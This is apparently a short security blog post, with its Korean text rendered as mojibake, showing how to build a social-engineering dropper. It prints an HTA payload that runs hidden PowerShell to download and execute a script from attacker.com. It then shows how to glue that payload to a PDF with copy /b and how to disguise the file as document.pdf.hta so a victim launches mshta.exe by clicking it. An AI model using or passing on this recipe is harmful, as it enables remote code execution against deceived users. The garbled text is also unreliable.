๐์ ๋ณด๋ณด์/์ฌํ๊ณตํ
์ฌํ๊ณตํ - PDF + HTA ์ ์ฑ ํ์ผ
Janger
2025. 5. 6. 19:46
728x90
payload.hta
<html>
<head>
<script>
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')");
</script>
</head>
</html>
/copy ๋ช ๋ น์ด๋ก ๋ณํฉ (Windows CMD)
Windows์ copy /b ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํด ์ด์ง(Binary) ๋ฐฉ์์ผ๋ก ํ์ผ ๊ฒฐํฉ
copy /b doc.pdf + payload.hta final.pdf
์คํ ์ ๋ ๋ฐฉ์
- ํ์ฅ์ ์จ๊น + Windows ์คํ ์ฐ์ ์์๋ฅผ ์ด์ฉ
- ํ์ผ ์ด๋ฆ์ ์: document.pdf.hta ๋๋ document.pdf[space].hta๋ก ๋ง๋ค๊ณ
- ํ์ฅ์ ์จ๊ธฐ๊ธฐ๋ฅผ ํตํด ์ฌ์ฉ์ ๋์๋ .pdf์ฒ๋ผ ๋ณด์
- ์ฌ์ฉ์๊ฐ ํด๋ฆญํ๋ฉด mshta.exe๊ฐ ์คํ๋จ
728x90